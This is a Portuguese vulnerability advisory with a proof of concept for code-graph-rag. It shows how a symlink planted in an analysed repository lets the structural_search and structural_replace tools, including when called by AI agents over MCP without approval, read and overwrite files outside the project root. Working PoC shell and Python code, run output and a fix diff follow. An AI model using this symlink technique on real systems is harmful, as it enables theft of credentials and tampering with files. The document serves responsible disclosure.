
PoC — seguir link simbólico para leitura/escrita arbitrária de ficheiros fora da raiz do projeto em code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).
Status da CVE: solicitada, aguardando atribuição. Esta descoberta é publicada como GHSA-85gg-2gfq-q95m. Após a atribuição da CVE, este repositório é renomeado
CVE-YYYY-NNNNN-code-graph-rag-PoCe este banner é substituído pelo link da CVE.
| Pesquisador | Dostxodjayev Abdullox (@squeeze440) |
| Aviso | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (Alto) |
| Fraqueza | CWE-59, CWE-22 |
Resumo
Um atacante remoto/local que consiga incluir um link simbólico em um repositório de código-fonte que o code-graph-rag analisa pode fazer com que as ferramentas structural_search e structural_replace (suportadas pelo AstGrepService, expostas tanto como ferramentas MCP quanto como ferramentas de IA agêntica) leiam e — via structural_replace com dry_run=False — sobrescrevam arquivos arbitrários fora da raiz do projeto configurada, porque a verificação de contenção de caminho da ferramenta (should_skip_path/_classify_file) é realizada lexicalmente sobre o caminho não resolvido e nunca verifica Path.is_symlink() nem chama .resolve(), ao contrário do próprio decorador (correto) validate_project_path do projeto, usado em outros lugares.
Produto
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
Versão Testada
Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versão do pyproject 0.0.550) — main atual no momento do teste. Confirmado que este commit já contém a correção para o aviso anterior (GHSA-vvr2-h2jp-838m: path traversal no read_file paginado) e o gate mais recente de autenticação bearer do HTTP-MCP (_validate_http_exposure em codebase_rag/mcp/server.py), portanto este é um problema distinto e ainda em aberto sobre essas correções.
CVSS v3.1 Estimado
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Alto)
Métricas não óbvias:
structural_search/structural_replace contra esse projeto para que a leitura/escrita seja acionada.Detalhes
O AstGrepService (codebase_rag/tools/ast_grep_service.py) suporta tanto as ferramentas MCP/agênticas structural_search quanto structural_replace. Ele enumera arquivos candidatos com os.walk() e filtra cada caminho apenas através de should_skip_path():
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — percorre self.project_root com os.walk(); cada dirent que não é diretório retornado por os.walk (incluindo um link simbólico apontando para qualquer lugar do disco) é tratado como um arquivo dentro do escopo.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — a única verificação de contenção é should_skip_path(...) seguida de abs_path.relative_to(self.project_root) (linha 82); abs_path nunca é resolvido, portanto esta verificação é puramente lexical/baseada em string.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) e codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcula rel_path = file_path.relative_to(repo_path) sem nunca chamar .resolve() ou Path.is_symlink(). Nada nesta função trata um link simbólico de forma diferente de um arquivo real.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) chama path.read_text(), que o Python segue através do link simbólico até seu alvo real, não importa onde esse alvo esteja.codebase_rag/tools/ast_grep_service.py:187-208 (replace), especificamente a linha 208 — abs_path.write_text(new_source, ...) quando dry_run=False, novamente seguindo o link simbólico e sobrescrevendo o conteúdo do arquivo alvo real.Isso é inconsistente com a forma como o restante da base de código lida com exatamente a mesma classe de risco. As ferramentas de leitura/escrita/edição de arquivos (file_reader.py, file_writer.py, file_editor.py) são todas protegidas por validate_project_path (codebase_rag/decorators.py:73-75):
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() segue links simbólicos antes que a verificação de contenção seja executada, portanto essas ferramentas rejeitam corretamente um alvo fora da raiz. O próprio absolute_path_within_project_root() do path_utils.py (codebase_rag/utils/path_utils.py:156-176) documenta o mesmo princípio explicitamente em sua docstring: "As chamadas resolve() são essenciais: a contenção é verificada lexicalmente, portanto um segmento .. não resolvido ou um link simbólico escaparia da raiz." — mas should_skip_path()/AstGrepService, usados por structural_search/structural_replace, nunca aplicam esse padrão.
Alcance / exposição das duas ferramentas:
structural_search (codebase_rag/tools/structural_search.py:24-46) não possui nenhuma flag requires_approval — o modelo de um cliente MCP pode chamá-la autonomamente sem confirmação humana.structural_replace (codebase_rag/tools/structural_editor.py:52-57) está marcada com requires_approval=True, mas essa flag só é aplicada pelo próprio loop de agente do pydantic-ai. O caminho do servidor MCP a ignora completamente: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) chama self._structural_editor_tool.function(...) diretamente, e a ferramenta MCP é registrada sem nenhum conceito de aprovação em codebase_rag/mcp/tools.py:369-388 (ToolMetadata para MCPToolName.STRUCTURAL_REPLACE) — qualquer cliente MCP que possa chamar ferramentas pode invocar structural_replace com dry_run=False em um único disparo.Prova de Conceito
Confirmado dinamicamente contra o pacote instalado (mgclient/pymgclient mockados exatamente como no PoC do aviso anterior, já que o cliente nativo do Memgraph não é necessário para este caminho de código).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
Saída real da execução (/tmp/poc_venv, pacote instalado via pip install --no-deps -e . a partir do commit testado):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
Sem capturas de tela — esta é uma descoberta puramente em nível de biblioteca/CLI, sem componente de navegador/GUI.
Impacto
Qualquer operador que aponte o cgr (CLI, modo agêntico ask_agent, ou ferramentas MCP structural_search/structural_replace) para um repositório que ele não auditou completamente — exatamente o caso de uso para o qual esta ferramenta foi criada ("consultar, entender e editar bases de código multilíngues") — pode ter o link simbólico plantado nesse repositório usado para:
cgr (credenciais, chaves SSH, arquivos .env, código-fonte de projetos irmãos), via structural_search, sem nenhum gate de aprovação.cgr, via structural_replace(dry_run=False), contornando o próprio gate de aprovação da ferramenta quando chamada através do protocolo MCP.Esta é a mesma classe de bug "conteúdo malicioso na base de código analisada escapa do project_root" do GHSA-vvr2-h2jp-838m, mas com uma causa raiz distinta (falta de resolução de link simbólico em AstGrepService/should_skip_path, CWE-59) e um sink distinto e mais severo (escrita arbitrária, não apenas leitura) em um componente diferente (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, não o read_file paginado de codebase_rag/mcp/tools.py). Não se sobrepõe aos intervalos de linhas vulneráveis nem à correção do aviso anterior.
Fraquezas
Remediação
Aplique o mesmo padrão de resolver-e-conter já usado por validate_project_path (codebase_rag/decorators.py:73-75) e absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) ao should_skip_path. Rejeite qualquer caminho cuja localização resolvida (após seguir links simbólicos) escape da raiz do projeto resolvida, em vez de verificar apenas a string do caminho não resolvido:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
Concretamente: esta única alteração em should_skip_path corrige tanto _classify_file (search) quanto a filtragem do os.walk em _iter_source_files (replace), já que ambos passam por ela. Como defesa em profundidade, _iter_source_files poderia adicionalmente ignorar dirents que são links simbólicos diretamente (entry.is_symlink()) durante o os.walk, já que uma ferramenta de análise de código orientada por IA nunca deveria precisar percorrer fora da raiz indexada em primeiro lugar.
Crédito
Dostxodjayev Abdullox (GitHub: squeeze440)
Canal de Relato
O Relato Privado de Vulnerabilidades (PVR) está confirmadamente habilitado em vitali87/code-graph-rag; este relatório destina-se à submissão através desse canal (GitHub Security Advisories), consistente com o aviso já publicado do repositório (GHSA-vvr2-h2jp-838m).